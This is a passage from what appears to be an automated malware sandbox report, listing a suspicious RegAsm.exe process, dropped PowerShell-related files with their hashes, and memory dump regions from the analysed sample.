            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2932

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_3hoedg5r.qv2.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hoedg5r.qv2.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/1920-156-0x000001CF3C110000-0x000001CF3C120000-memory.dmp

            memory/1920-155-0x000001CF3C110000-0x000001CF3C120000-memory.dmp

            memory/2932-176-0x0000000005C10000-0x00000000061B4000-memory.dmp

            memory/2932-169-0x0000000000400000-0x000000000040C000-memory.dmp

            memory/2932-175-0x0000000005530000-0x00000000055CC000-memory.dmp

            memory/2932-177-0x00000000057C0000-0x0000000005852000-memory.dmp

            memory/2932-178-0x00000000055F0000-0x0000000005600000-memory.dmp

            memory/2932-179-0x0000000005770000-0x000000000577A000-memory.dmp

            memory/2932-180-0x00000000055F0000-0x0000000005600000-memory.dmp

            memory/3380-154-0x000001A7AE500000-0x000001A7AE510000-memory.dmp

            memory/3380-153-0x000001A7AE500000-0x000001A7AE510000-memory.dmp

            memory/3380-152-0x000001A7AE500000-0x000001A7AE510000-memory.dmp

            memory/3380-142-0x000001A7C70A0000-0x000001A7C70C2000-memory.dmp